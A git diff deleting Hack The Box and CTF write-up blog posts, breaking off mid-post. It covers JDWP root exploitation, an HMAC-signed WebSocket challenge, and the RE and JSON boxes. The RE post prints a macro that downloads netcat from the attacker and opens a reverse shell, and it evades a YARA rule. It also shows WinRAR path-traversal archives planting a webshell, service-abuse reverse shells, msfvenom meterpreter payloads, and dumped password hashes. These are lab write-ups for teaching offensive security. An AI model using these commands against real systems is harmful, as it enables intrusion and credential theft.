--agentlib:jdwp=transport=dt_socket,address=localhost:8000,server=y,suspend=n -Dignore.endorsed.dirs= -classpath /opt/apache-tomcat-9.0.27/bin/bootstrap.jar:/opt/ -apache-tomcat-9.0.27/bin/tomcat-juli.jar -Dcatalina.base=/opt/apache-tomcat-9.0.27 -Dcatalina.home=/opt/apache-tomcat-9.0.27 -Djava.io.tmpdir=/opt/apache-tomcat-9.0.27/temp -org.apache.catalina.startup.Bootstrap start -``` - -I used the [https://www.exploit-db.com/exploits/46501](https://www.exploit-db.com/exploits/46501) exploit to get RCE as root. I chose to make `/bin/bash` SUID so I could just get a shell directly by using `bash -p`. I need to trigger a connection to port 8005 locally on the machine after I've launched the exploit. - -``` -root@kali:~/htb/ai# python jdwp.py -t 127.0.0.1 -p 8000 --cmd 'chmod u+s /bin/bash' -[+] Targeting '127.0.0.1:8000' -[+] Reading settings for 'OpenJDK 64-Bit Server VM - 11.0.4' -[+] Found Runtime class: id=bc4 -[+] Found Runtime.getRuntime(): id=7fe7f003e960 -[+] Created break event id=2 -[+] Waiting for an event on 'java.net.ServerSocket.accept' -[+] Received matching event from thread 0xc69 -[+] Selected payload 'chmod u+s /bin/bash' -[+] Command string object created id:c6a -[+] Runtime.getRuntime() returned context id:0xc6b -[+] found Runtime.exec(): id=7fe7f003e998 -[+] Runtime.exec() successful, retId=c6c -[!] Command successfully executed -``` - -``` -alexa@AI:~$ /bin/bash -p -bash-4.4# id -uid=1000(alexa) gid=1000(alexa) euid=0(root) groups=1000(alexa) -bash-4.4# cat /root/root.txt -0ed04f2... -``` \ No newline at end of file diff --git a/_posts/2020-01-27-bbsctf-evilconneck.md b/_posts/2020-01-27-bbsctf-evilconneck.md deleted file mode 100644 index 3b47285b79..0000000000 --- a/_posts/2020-01-27-bbsctf-evilconneck.md +++ /dev/null @@ -1,173 +0,0 @@ ---- -layout: single -title: Mini WebSocket CTF -excerpt: "During the holidays, [@stackfault](https://twitter.com/stackfault) (sysop from the [BottomlessAbyss BBS](https://bbs.bottomlessabyss.net/)) ran a month long CTF with challenges being released every couple of days. Some of challenges were unsolved or partially solved challenges from earlier [HackFest](https://hackfest.ca/) editions as well as some new ones. There was also a point depreciation system in place so challenges solved earlier gave more points. This post is a writeup for the Evilconneck challenge, a quick but fun challenge with websockets and a bit of crypto." -date: 2020-01-27 -classes: wide -header: - teaser: /assets/images/bbsctf-evilconneck/logo.png - teaser_home_page: true -categories: - - ctf - - infosec -tags: - - websockets - - crypto ---- - -During the holidays, [@stackfault](https://twitter.com/stackfault) (sysop from the [BottomlessAbyss BBS](https://bbs.bottomlessabyss.net/)) ran a month long CTF with challenges being released every couple of days. Some of challenges were unsolved or partially solved challenges from earlier [HackFest](https://hackfest.ca/) editions as well as some new ones. There was also a point depreciation system in place so challenges solved earlier gave more points. This post is a writeup for the Evilconneck challenge by [@pathetiq](https://twitter.com/pathetiq), a quick but fun challenge with websockets and a bit of crypto. - -To start with, we have to connect to the BBS and create an account in order to access the challenge description and flag submission panel. We're given a URL to connect to as well as a bit more information on the other screen. - -![](/assets/images/bbsctf-evilconneck/challenge1.png) - -![](/assets/images/bbsctf-evilconneck/objectives.png) - -On the webpage, there's not much to see: just a couple of images and a few messages about no vulnerabilities present on a static site. - -![](/assets/images/bbsctf-evilconneck/website1.png) - -![](/assets/images/bbsctf-evilconneck/website2.png) - -Checking the HTML source code, we can see that there are some comments about debug mode being turned off. - -![](/assets/images/bbsctf-evilconneck/debug.png) - -## Debug mode enabled - -Enabling the "debug mode" is just matter of sending a GET with the debug variable set: `http://18.222.220.65/evilconneck/?debug=1` - -After enabling the debug mode we can see additional javascript being inserted in the page: - -![](/assets/images/bbsctf-evilconneck/websocket1.png) - -The code is supposed to establish a websocket connection but I'm getting a connection error message when looking at my Firefox console: - -![](/assets/images/bbsctf-evilconneck/websocket2.png) - -Doing some debugging, I found that the Origin header isn't accepted by the server. - -``` -GET / HTTP/1.1 -Host: 18.222.220.65:64480 -User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 -Accept: */* -Accept-Language: en-US,en;q=0.5 -Accept-Encoding: gzip, deflate -Sec-WebSocket-Version: 13 -Origin: http://18.222.220.65 -Sec-WebSocket-Extensions: permessage-deflate -Sec-WebSocket-Key: 31EYkQq62lBuLoMotKrWZw== -Connection: keep-alive, Upgrade -Pragma: no-cache -Cache-Control: no-cache -Upgrade: websocket - -HTTP/1.1 403 Forbidden -Date: Tue, 28 Jan 2020 02:25:38 GMT -Server: Python/3.6 websockets/8.1 -Content-Length: 84 -Content-Type: text/plain -Connection: close - -Failed to open a WebSocket connection: invalid Origin header: http://18.222.220.65. -``` - -This will probably work by using a hostname intead of the IP address so I added `evilconneck` to my local hostfile and I was able to successfully connect after using the hostname. - -Within Burp I can see my client is sending the `uptime` string followed by some base64 encoded data. - -![](/assets/images/bbsctf-evilconneck/websocket3.png) - -And the response is always `49170.12` and never changes - -![](/assets/images/bbsctf-evilconneck/websocket4.png) - -## Figuring out the HMAC secret key - -The first thing I did next was try to figure what that base64 content is all about and it just decodes to meaningless bytes. Interestingly, the length of the output is 32 bytes so this could be a hash of some sort. - -![](/assets/images/bbsctf-evilconneck/sig1.png) - -I tried changing the `uptime` message to something else or alter the content of the base64 and I got the following signature failure message everytime: `Signature failed! - Expected: 'b64(b85(passwd)),base64(hmac256)'` - -So it's probably safe to assume at this point that `uptime` is the message for which the signature is calculated. Based on the error message, we know that it's using HMAC with SHA256 for the hash function and that HMAC secret is base85 encoded, then base64 encoded. - -To test this theory, I used Python to try to generate the HMAC for the `uptime` message using a wordlist so I can bruteforce the HMAC secret key. At first, I made the following script but I wasn't able to find a match with any wordlist I used, such as `rockyou.txt`: - -```python -#!/usr/bin/env python3 - -import base64 -import hashlib, hmac -import progressbar -import sys - -c = b"Ji/HQqLPH5KpqzZcYFXRdEHnyn2VI1fqU824IzTzAKs=" - -progressbar.streams.flush() - -with open(sys.argv[1], encoding = "ISO-8859-1") as f: - passwords = f.read().splitlines() - -message = sys.argv[2] - -with progressbar.ProgressBar(max_value=len(passwords)) as bar: - for i, p in enumerate(passwords): - secret = base64.b64encode(base64.b85encode(p.strip().encode('utf-8'))) - m = hmac.new(secret, digestmod=hashlib.sha256) - m.update(message.strip().encode('utf-8')) - m_b64 = base64.b64encode(m.digest()) - if c in m_b64: - print(f"Found password: {p}") - print(m_b64) - sys.exit(0) - bar.update(i) -``` - -After double checking my code for a bit, I saw that there's an option to enable padding before encoding in the `b85encode` function. This pads the input with null bytes so to make the length a multiple of 4 bytes. After enabling padding I was able to find the HMAC secret. - -```python -secret = base64.b64encode(base64.b85encode(p.strip().encode('utf-8'), pad=True)) -``` - -No need for the full rockyou.txt list afterall, this one is pretty simple: `secret` - -![](/assets/images/bbsctf-evilconneck/secret.png) - -## Getting access with websockets - -Next, I rewrote my script to send commands through the websocket connection with the proper HMAC appended. - -```python -#!/usr/bin/env python3 - -import asyncio -import base64 -import hashlib, hmac -import readline -import sys -import websockets - -secret = b'secret' -secret = base64.b64encode(base64.b85encode(secret, pad=True)) - -async def hello(): - uri = "ws://evilconneck:64480" - async with websockets.connect(uri, origin='http://evilconneck') as websocket: - cmd = input('> ') - m = hmac.new(secret, digestmod=hashlib.sha256) - m.update(cmd.encode('utf-8')) - m_b64 = base64.b64encode(m.digest()) - x = f"{cmd},{m_b64.decode('utf-8')}" - await websocket.send(x) - r = await websocket.recv() - print(f"{r.decode('utf-8')}") - -while True: - asyncio.get_event_loop().run_until_complete(hello()) -``` - -Once I found the `help` command, I was quickly able to get the flag. I just needed to issue `hello` command as instructed then `getflag` returned out the flag. - -![](/assets/images/bbsctf-evilconneck/flag.png) \ No newline at end of file diff --git a/_posts/2020-02-01-htb-writeup-re.md b/_posts/2020-02-01-htb-writeup-re.md deleted file mode 100644 index 1184a66482..0000000000 --- a/_posts/2020-02-01-htb-writeup-re.md +++ /dev/null @@ -1,574 +0,0 @@ ---- -layout: single -title: RE - Hack The Box -excerpt: "I had fun solving RE but I did it using an unintended path. After getting a shell with a macroed .ods file, I saw that the Winrar version had a CVE which allowed me to drop a webshell in the webserver path and get RCE as `iis apppool\\re`. The user had access to modify the UsoSvc service running with SYSTEM privileges so it was trivial at that point to get a SYSTEM shell. Because the root flag was encrypted for user Coby, I used meterpreter to impersonate his token and read the file." -date: 2020-02-01 -classes: wide -header: - teaser: /assets/images/htb-writeup-re/re_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - yara - - usosvc - - unintended - - libreoffice - - macros - - ods - - CVE-2018-20253 ---- - -![](/assets/images/htb-writeup-re/re_logo.png) - -I had fun solving RE but I did it using an unintended path. After getting a shell with a macroed .ods file, I saw that the Winrar version had a CVE which allowed me to drop a webshell in the webserver path and get RCE as `iis apppool\re`. The user had access to modify the UsoSvc service running with SYSTEM privileges so it was trivial at that point to get a SYSTEM shell. Because the root flag was encrypted for user Coby, I used meterpreter to impersonate his token and read the file. - -## Summary - -- Find the blog site and the hints related to malware and yara rules -- Craft a malicious .ods file with a macro that downloads and executes netcat when the document is opened -- Upload the file through the SMB share and gain a shell as user Luke -- Exploit CVE-2018-20253 to write an aspx webshell into one of the webserver directories -- Get a shell with the aspx as user `iis apppool\re` -- Reconfigure the UsoSvc service to spawn another netcat and get a shell as SYSTEM -- Upload a meterpreter, impersonate user Coby and read the final flag - -## Initial recon - -### Portscan - -``` -# nmap -sC -sV -p- 10.10.10.144 -Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-29 16:06 EST -Nmap scan report for re.htb (10.10.10.144) -Host is up (0.019s latency). -Not shown: 65533 filtered ports -PORT STATE SERVICE VERSION -80/tcp open http Microsoft IIS httpd 10.0 -| http-methods: -|_ Potentially risky methods: TRACE -|_http-server-header: Microsoft-IIS/10.0 -|_http-title: Ghidra Dropbox Coming Soon! -445/tcp open microsoft-ds? -Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows - -Host script results: -|_clock-skew: 45s -| smb2-security-mode: -| 2.02: -|_ Message signing enabled but not required -| smb2-time: -| date: 2020-01-29T21:09:29 -|_ start_date: N/A - -Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . -Nmap done: 1 IP address (1 host up) scanned in 152.37 seconds -``` - -### SMB share - -I have access to the `malware_dropbox` SMB share with read-only privileges: - -``` -# smbmap -u invalid -H 10.10.10.144 -[+] Finding open SMB ports.... -[+] Guest SMB session established on 10.10.10.144... -[+] IP: 10.10.10.144:445 Name: re.htb - Disk Permissions - ---- ----------- - IPC$ READ ONLY - malware_dropbox READ ONLY -``` - -However the directory is empty: - -``` -# smbclient -U invalid //10.10.10.144/malware_dropbox -Enter WORKGROUP\invalid's password: -Try "help" to get a list of possible commands. -smb: \> ls - . D 0 Mon Jul 22 20:18:47 2019 - .. D 0 Mon Jul 22 20:18:47 2019 - - 8247551 blocks of size 4096. 4323774 blocks available -``` - -### Website enumeration: re.htb - -The `re.htb` site is incomplete; - -![](/assets/images/htb-writeup-re/re.png) - -The HTML source contains a hint about a Ghidra project directory structure. The title of the page is `Ghidra Dropbox Coming Soon!` so it's probably some kind of site where we can upload malware to be analyzed. - -``` - -``` - -### Website enumeration: 10.10.10.144 - -![](/assets/images/htb-writeup-re/ip.png) - -The IP website redirects to `reblog.htb` so I'll add that domain to my local hostfile. - -`` - -### Website enumeration: reblog.htb - -After adding `reblog.htb` to my `/etc/hosts`, the redirect works and I can load the blog page. - -![](/assets/images/htb-writeup-re/reblog.png) - -Based on the HTML source code, I see the blog page is built using Jekyll, a popular static website generator. - -```html - -Automation and Accounts on Analysis Box | RE Blog - -``` - -The blog contains a bunch of useful info, including some potential hints about what we need to do. - -![](/assets/images/htb-writeup-re/blog1.png) - -![](/assets/images/htb-writeup-re/blog2.png) - -![](/assets/images/htb-writeup-re/blog3.png) - -![](/assets/images/htb-writeup-re/blog4.png) - -![](/assets/images/htb-writeup-re/blog5.png) - -![](/assets/images/htb-writeup-re/blog6.png) - -The `.ods` file extension is used by LibreOffice Calc and this seems to be a hint that I need to use this file format for my payload. One blog post says that malware samples dropped on the share will automatically be executed, but as a low privilege user. This is likely the first step to get a foothold on the box. The blog posts link to [0xdf's blog post about Yara rules](https://0xdf.gitlab.io/2019/03/27/analyzing-document-macros-with-yara.html). The example shown on the blog blacklists the following Subs: - -- Sub OnLoad -- Sub Exploit - -Because I can assign any macro to the Open Document event, I can use `Run_at_open` (or any name for that matter) instead of `OnLoad` for the function name and it won't be caught by the YARA rule. - -I created a `sales.ods` file with the following macro using `certutil` to download netcat and execute it. - -```vb -Sub Run_at_open - Shell("certutil.exe -urlcache -split -f 'http://10.10.16.9/nc.exe' C:\Windows\System32\spool\drivers\color\nc.exe") - Shell("C:\Windows\System32\spool\drivers\color\nc.exe 10.10.16.9 4444 -e cmd.exe") -End Sub -``` - -The macro needs to be assigned to the `Open Document` Event as follows: - -![](/assets/images/htb-writeup-re/macroassign.png) - -![](/assets/images/htb-writeup-re/shell.png) - -I now have a shell as `Luke` and can read the user flag: - -``` -C:\Users\luke\Desktop>whoami -whoami -re\luke - -C:\Users\luke\Desktop>type user.txt -type user.txt -FE41736... -``` - -## Privilege escalation to SYSTEM the unintended way - -There's two other users: `cam` and `coby`: - -``` -C:\Users\luke\Desktop>net users - -User accounts for \\RE - -------------------------------------------------------------------------------- -Administrator cam coby -DefaultAccount Guest luke -WDAGUtilityAccount -The command completed successfully. -``` - -Cam doesn't have additonal privileges but Coby is a local admin: - -``` -C:\Users\luke\Desktop>net user cam -[...] -Local Group Memberships *Users -Global Group memberships *None -The command completed successfully. - - -C:\Users\luke\Desktop>net users coby -[...] - -Local Group Memberships *Administrators *Remote Management Use - *Users -Global Group memberships *None -The command completed successfully. -``` - -Luke's document directory contains the script `process_samples.ps1` that automatically processes the malware samples uploaded to the share. - -``` - Directory of C:\Users\luke\Documents - -06/18/2019 02:05 PM . -06/18/2019 02:05 PM .. -07/22/2019 06:31 PM malware_dropbox -07/22/2019 06:32 PM malware_process -07/22/2019 06:32 PM ods -06/18/2019 10:30 PM 1,096 ods.yara -06/18/2019 10:33 PM 1,783 process_samples.ps1 -03/13/2019 06:47 PM 1,485,312 yara64.exe -``` - -As suspected, the `ods.yara` file only contains the examples from the blog post and that's why the `Run_at_open` method worked. - -``` -[...] -$getos = "select case getGUIType" nocase wide ascii -$getext = "select case GetOS" nocase wide ascii -$func1 = "Sub OnLoad" nocase wide ascii -$func2 = "Sub Exploit" nocase wide ascii -$func3 = "Function GetOS() as string" nocase wide ascii -$func4 = "Function GetExtName() as string" nocase wide ascii -[...] -``` - -The `process_samples.ps1` script that processes malware samples is shown below: - -```powershell -$process_dir = "C:\Users\luke\Documents\malware_process" -$files_to_analyze = "C:\Users\luke\Documents\ods" -$yara = "C:\Users\luke\Documents\yara64.exe" -$rule = "C:\Users\luke\Documents\ods.yara" - -while($true) { - # Get new samples - move C:\Users\luke\Documents\malware_dropbox\* $process_dir - - # copy each ods to zip file - Get-ChildItem $process_dir -Filter *.ods | - Copy-Item -Destination {$_.fullname -replace ".ods", ".zip"} - - Get-ChildItem $process_dir -Filter *.zip | ForEach-Object { - - # unzip archive to get access to content - $unzipdir = Join-Path $_.directory $_.Basename - New-Item -Force -ItemType directory -Path $unzipdir | Out-Null - Expand-Archive $_.fullname -Force -ErrorAction SilentlyContinue -DestinationPath $unzipdir - - # yara to look for known malware - $yara_out = & $yara -r $rule $unzipdir - $ods_name = $_.fullname -replace ".zip", ".ods" - if ($yara_out.length -gt 0) { - Remove-Item $ods_name - } - } - - - # if any ods files left, make sure they launch, and then archive: - $files = ls $process_dir\*.ods - if ( $files.length -gt 0) { - # launch ods files - Invoke-Item "C:\Users\luke\Documents\malware_process\*.ods" - Start-Sleep -s 5 - - # kill open office, sleep - Stop-Process -Name soffice* - Start-Sleep -s 5 - - #& 'C:\Program Files (x86)\WinRAR\Rar.exe' a -ep $process_dir\temp.rar $process_dir\*.ods 2>&1 | Out-Null - Compress-Archive -Path "$process_dir\*.ods" -DestinationPath "$process_dir\temp.zip" - $hash = (Get-FileHash -Algorithm MD5 $process_dir\temp.zip).hash - # Upstream processing may expect rars. Rename to .rar - Move-Item -Force -Path $process_dir\temp.zip -Destination $files_to_analyze\$hash.rar - } - - Remove-Item -Recurse -force -Path $process_dir\* - Start-Sleep -s 5 -} -``` - -If I understand this correctly: - -- The contents of the `malware_dropbox` share are moved to `C:\Users\luke\Documents\malware_process` -- The .ods files are renamed to .zip -- The .zip file is extracted and the contents processes by the Yara rules with `yara64.exe` -- If the file matches a Yara rule, it gets deleted -- Anything left gets executed with LibreOffice -- The files are repackaged in a .rar file and moved to `C:\Users\luke\Documents\ods` for further processing - -The .rar reference is a subtle hint. When I look at the Downloads directory I see that an old WinRAR version was downloaded: - -``` -03/13/2019 06:45 PM 298,860,544 LibreOffice_6.2.1_Win_x64.msi -03/14/2019 05:13 AM 3,809,704 npp.7.6.4.Installer.x64.exe -03/15/2019 10:22 AM 1,987,544 winrar-5-50-beta-1-x86.exe -``` - -There's a `CVE-2018-20253` that impacts all versions prior to and including 5.60. When the filename field is manipulated with specific patterns, the destination folder is ignored and the filename is treated as an absolute path. So basically an attacker can write anywhere on the target host when the file is unpacked, not just the directory where's it's extracted. This vulnerability is similar to the zipslip vulnerability. - - -The first thing I'll try it to get the hash of the user extracting the .rar files: - -``` -# python3 /opt/Evil-WinRAR-Gen/evilWinRAR.py -e evil.txt -g good.txt -p '\\10.10.16.9\snowscan\gimmehashes' - - _ _ __ ___ ___ _ ___ - _____ _(_) | \ \ / (_)_ _ | _ \ /_\ | _ \ - / -_) V / | | \ \/\/ /| | ' \| / / _ \| / - \___|\_/|_|_| \_/\_/ |_|_||_|_|_\/_/ \_\_|_\ - - by @manulqwerty - ----------------------------------------------------------------------- - -[+] Evil archive generated successfully: evil.rar -[+] Evil path: \\10.10.16.9\snowscan\gimmehashes -``` - -The .rar file will try to extract to an SMB on my system and I'll use responder to get the NetNTLMv2 hash of the user. - -![](/assets/images/htb-writeup-re/responder.png) - -I tried cracking Cam's NTLMv2 hash but I wasn't able to crack it with rockyou.txt. - -When I check the web directory, I see that Cam has write access: - -``` -C:\inetpub>icacls wwwroot -wwwroot RE\coby:(OI)(CI)(RX,W) - RE\cam:(OI)(CI)(RX,W) - BUILTIN\IIS_IUSRS:(OI)(CI)(RX) - NT SERVICE\TrustedInstaller:(I)(F) - NT SERVICE\TrustedInstaller:(I)(OI)(CI)(IO)(F) - NT AUTHORITY\SYSTEM:(I)(F) - NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F) - BUILTIN\Administrators:(I)(F) - BUILTIN\Administrators:(I)(OI)(CI)(IO)(F) - BUILTIN\Users:(I)(RX) - BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE) - CREATOR OWNER:(I)(OI)(CI)(IO)(F) -``` - -I can place a webshell in the directory using the same Winrar exploit: - -![](/assets/images/htb-writeup-re/aspx1.png) - -And now I have RCE as `iis apppool\re` - -![](/assets/images/htb-writeup-re/aspx2.png) - -I'll pop another shell with netcat: - -``` -# nc -lvnp 5555 -Ncat: Version 7.70 ( https://nmap.org/ncat ) -Ncat: Listening on :::5555 -Ncat: Listening on 0.0.0.0:5555 -Ncat: Connection from 10.10.10.144. -Ncat: Connection from 10.10.10.144:60328. -Microsoft Windows [Version 10.0.17763.107] -(c) 2018 Microsoft Corporation. All rights reserved. - -c:\windows\system32\inetsrv>whoami -iis apppool\re - -c:\windows\system32\inetsrv> -``` - -Then use PowerUp from Powersploit to look for privesc vectors: - -``` -c:\ProgramData>certutil -urlcache -f http://10.10.16.9/PowerUp.ps1 powerup.ps1 -**** Online **** -CertUtil: -URLCache command completed successfully. - -c:\ProgramData>powershell -ep bypass -Windows PowerShell -Copyright (C) Microsoft Corporation. All rights reserved. - -PS C:\ProgramData> import-module .\powerup.ps1 -PS C:\ProgramData> invoke-allchecks - -[...] - -ServiceName : UsoSvc -Path : C:\Windows\system32\svchost.exe -k netsvcs -p -StartName : LocalSystem -AbuseFunction : Invoke-ServiceAbuse -Name 'UsoSvc' -CanRestart : True -``` - -I have write access to the `UsoSvc` service so I can change the BinPath and execute anything I want as SYSTEM. The default `Invoke-ServiceAbuse` parameters will simply add a new user with local admin rights. - -``` -PS C:\ProgramData> Invoke-ServiceAbuse -Name 'UsoSvc' - -ServiceAbused Command -------------- ------- -UsoSvc net user john Password123! /add && net localgroup Administrators john /add -``` - -Instead I can pop a reverse shell using netcat I uploaded earlier. - -``` -PS C:\ProgramData> Invoke-ServiceAbuse -Name 'UsoSvc' -command 'C:\Windows\System32\spool\drivers\color\nc.exe -e cmd.exe 10.10.16.9 8888' -``` - -![](/assets/images/htb-writeup-re/system.png) - -I have SYSTEM but I can't read the flag: - -``` -C:\Users\Administrator\Desktop>icacls root.txt -root.txt NT AUTHORITY\SYSTEM:(I)(F) - BUILTIN\Administrators:(I)(F) - RE\Administrator:(I)(F) - RE\coby:(I)(F) - -Successfully processed 1 files; Failed processing 0 files - -C:\Users\Administrator\Desktop>type root.txt -type root.txt -Access is denied. -``` - -I also lose my shell after a few seconds because the process doesn't respond to the service manager so it gets terminated. - -I'm going to drop a Meterpreter payload on the box, run it as SYSTEM and quickly migrate to a new process so I don't lose the shell: - -``` -# msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe -o met.exe LHOST=10.10.16.9 LPORT=4444 - -C:\Windows\System32\spool\drivers\color>certutil -urlcache -f http://10.10.16.9/met.exe met.exe -**** Online **** -CertUtil: -URLCache command completed successfully. -``` - -![](/assets/images/htb-writeup-re/msf.png) - - -Got a stable shell now, let's dump the hashes first: - -``` -meterpreter > hashdump -Administrator:500:aad3b435b51404eeaad3b435b51404ee:caf97bbc4c410103485a3cf950496493::: -cam:1002:aad3b435b51404eeaad3b435b51404ee:1916525df2db99ef56a75152807da93d::: -coby:1000:aad3b435b51404eeaad3b435b51404ee:fa88e03e41fdf7b707979c50d57c06cf::: -DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: -Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: -john:1003:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe::: -luke:1001:aad3b435b51404eeaad3b435b51404ee:3670611a3c1a68757854520547ab5f24::: -WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:275fb2a3ea8b2433976482b69b94497b::: -``` - -I can't read `root.txt` because it's encrypted for Coby: - -``` -C:\Users\Administrator\Desktop>cipher /c root.txt - - Listing C:\Users\Administrator\Desktop\ - New files added to this directory will not be encrypted. - -E root.txt - Compatibility Level: - Windows XP/Server 2003 - - Users who can decrypt: - RE\Administrator [Administrator(Administrator@RE)] - Certificate thumbprint: E088 5900 BE20 19BE 6224 E5DE 3D97 E3B4 FD91 C95D - - coby(coby@RE) - Certificate thumbprint: 415E E454 C45D 576D 59C9 A0C3 9F87 C010 5A82 87E0 - - No recovery certificate found. - - Key Information: - Algorithm: AES - Key Length: 256 - Key Entropy: 256 -``` - -I'll do it the easy and just impersonate Coby since I have SYSTEM access. - -``` -meterpreter > load incognito -[-] The 'incognito' extension has already been loaded. -meterpreter > list_tokens -u coby - -Delegation Tokens Available -======================================== -Font Driver Host\UMFD-0 -Font Driver Host\UMFD-1 -IIS APPPOOL\re -IIS APPPOOL\REblog -NT AUTHORITY\IUSR -NT AUTHORITY\LOCAL SERVICE -NT AUTHORITY\NETWORK SERVICE -NT AUTHORITY\SYSTEM -RE\cam -RE\coby -RE\luke -Window Manager\DWM-1 - -Impersonation Tokens Available -======================================== -IIS APPPOOL\ip - -meterpreter > impersonate_token RE\\coby -[+] Delegation token available -[+] Successfully impersonated user RE\coby -``` - -And I can now read the flag: - -``` -meterpreter > shell -Process 3760 created. -Channel 2 created. -Microsoft Windows [Version 10.0.17763.107] -(c) 2018 Microsoft Corporation. All rights reserved. - -C:\Windows\system32>type c:\users\administrator\desktop\root.txt -type c:\users\administrator\desktop\root.txt -1B4FB90... -``` \ No newline at end of file diff --git a/_posts/2020-02-15-htb-writeup-json.md b/_posts/2020-02-15-htb-writeup-json.md deleted file mode 100644 index 9905150255..0000000000 --- a/_posts/2020-02-15-htb-writeup-json.md +++ /dev/null @@ -1,400 +0,0 @@ ---- -layout: single -title: JSON - Hack The Box -excerpt: "To get remote code execution on JSON, I exploited a deserialization vulnerability in the web application using the Json.net formatter. After getting a shell I could either get a quick SYSTEM shell by abusing SeImpersonatePrivileges with Juicy Potato or reverse the Sync2FTP application to decrypt its configuration and find the superadmin user credentials." -date: 2020-02-15 -classes: wide -header: - teaser: /assets/images/htb-writeup-json/json_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - deserialization - - unintended - - juicy potato - - reversing - - dnspy ---- - -![](/assets/images/htb-writeup-json/json_logo.png) - -To get remote code execution on JSON, I exploited a deserialization vulnerability in the web application using the Json.net formatter. After getting a shell I could either get a quick SYSTEM shell by abusing SeImpersonatePrivileges with Juicy Potato or reverse the Sync2FTP application to decrypt its configuration and find the superadmin user credentials. - -## Summary - -- Get access to the dashboard using admin/admin credentials and find the API token endpoint -- Create a payload with ysoserial.net to get RCE through deserialization vulnerability in the Bearer header -- I can get SYSTEM with Juicy Potato since my low priv user has SeImpersonatePrivilege (unintended way) -- I reverse the .NET app Sync2Ftp to find how the credentials stored in the config are encrypted and retrieve the superadmin password - -## Portscan - -``` -# nmap -sC -sV -p- -T4 10.10.10.158 -Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-29 20:30 EDT -Nmap scan report for 10.10.10.158 -Host is up (0.052s latency). -Not shown: 65521 closed ports -PORT STATE SERVICE VERSION -21/tcp open ftp FileZilla ftpd -| ftp-syst: -|_ SYST: UNIX emulated by FileZilla -80/tcp open http Microsoft IIS httpd 8.5 -| http-methods: -|_ Potentially risky methods: TRACE -|_http-server-header: Microsoft-IIS/8.5 -|_http-title: Json HTB -135/tcp open msrpc Microsoft Windows RPC -139/tcp open netbios-ssn Microsoft Windows netbios-ssn -445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds -5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) -|_http-server-header: Microsoft-HTTPAPI/2.0 -|_http-title: Not Found -47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) -|_http-server-header: Microsoft-HTTPAPI/2.0 -|_http-title: Not Found -49152/tcp open msrpc Microsoft Windows RPC -49153/tcp open msrpc Microsoft Windows RPC -49154/tcp open msrpc Microsoft Windows RPC -49155/tcp open msrpc Microsoft Windows RPC -49156/tcp open msrpc Microsoft Windows RPC -49157/tcp open msrpc Microsoft Windows RPC -49158/tcp open msrpc Microsoft Windows RPC -Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows -``` - -## FTP - -Anonymous access is not enabled and this version doesn't not appear vulnerable to any public exploit I could find: - -``` -# ftp 10.10.10.158 -Connected to 10.10.10.158. -220-FileZilla Server 0.9.60 beta -220-written by Tim Kosse (tim.kosse@filezilla-project.org) -220 Please visit https://filezilla-project.org/ -Name (10.10.10.158:root): anonymous -331 Password required for anonymous -Password: -530 Login or password incorrect! -Login failed. -Remote system type is UNIX. -``` - -## SMB - -I can't enumerate the shares on this machine since I don't have access. I try null and guest sessions without success: - -``` -root@kali:~/htb/json# smbmap -u invalid -H 10.10.10.158 -[+] Finding open SMB ports.... -[!] Authentication error occured -[!] SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.) -[!] Authentication error on 10.10.10.158 - -root@kali:~/htb/json# smbmap -u '' -H 10.10.10.158 -[+] Finding open SMB ports.... -[!] Authentication error occured -[!] SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.) -[!] Authentication error on 10.10.10.158 -``` - -## Web server page - -I'm prompted to log in on the main site: - -![](/assets/images/htb-writeup-json/login.png) - -I try a few default credentials combinations and find that the `admin / admin` credentials work and I can log in to the site and access the dashboard: - -![](/assets/images/htb-writeup-json/dashboard.png) - -At first glance this seems like a static page with nothing useful on it. The only thing that stands out is the `/api/token` endpoint used during the login. - -![](/assets/images/htb-writeup-json/burp.png) - -![](/assets/images/htb-writeup-json/login_post.png) - -``` -# gobuster dir -q -w /opt/SecLists/Discovery/Web-Content/big.txt -u http://10.10.10.158 -/css (Status: 301) -/files (Status: 301) -/img (Status: 301) -/js (Status: 301) -/views (Status: 301) -``` - -I'll check out `/files` next, maybe it contains something useful. - -``` -# gobuster dir -q -t 50 -w /opt/SecLists/Discovery/Web-Content/big.txt -x txt,php -u http://10.10.10.158/files -/password.txt (Status: 200) -``` - -The password file contains something but I'm not sure if it's a username or a password. This is probably just a troll. - -``` -# curl 10.10.10.158/files/password.txt -Jajaja - -Not Correct -``` - -## Json.net deserialization - -The name of the box is Json so this is a hint about what to look for on this box. The only thing I found that uses JSON is the login form with the `/api/token` endpoint. - -By playing with the input in Burp Suite, I can produce a 500 error message when I give it an invalid JSON payload (missing a double quote). The error message discloses the path of one of the web app C# file: `C:\\Users\\admin\\source\\repos\\DemoAppExplanaiton\\DemoAppExplanaiton\\Controllers\\AccountController.cs`. - -![](/assets/images/htb-writeup-json/serial1.png) - -Next, I look at the `OAuth2` cookie set after I authenticate: - -![](/assets/images/htb-writeup-json/oauth.png) - -Decoded it is: `{"Id":1,"UserName":"admin","Password":"21232f297a57a5a743894a0e4a801fc3","Name":"User Admin HTB","Rol":"Administrator"}` - -When the main page accesses the 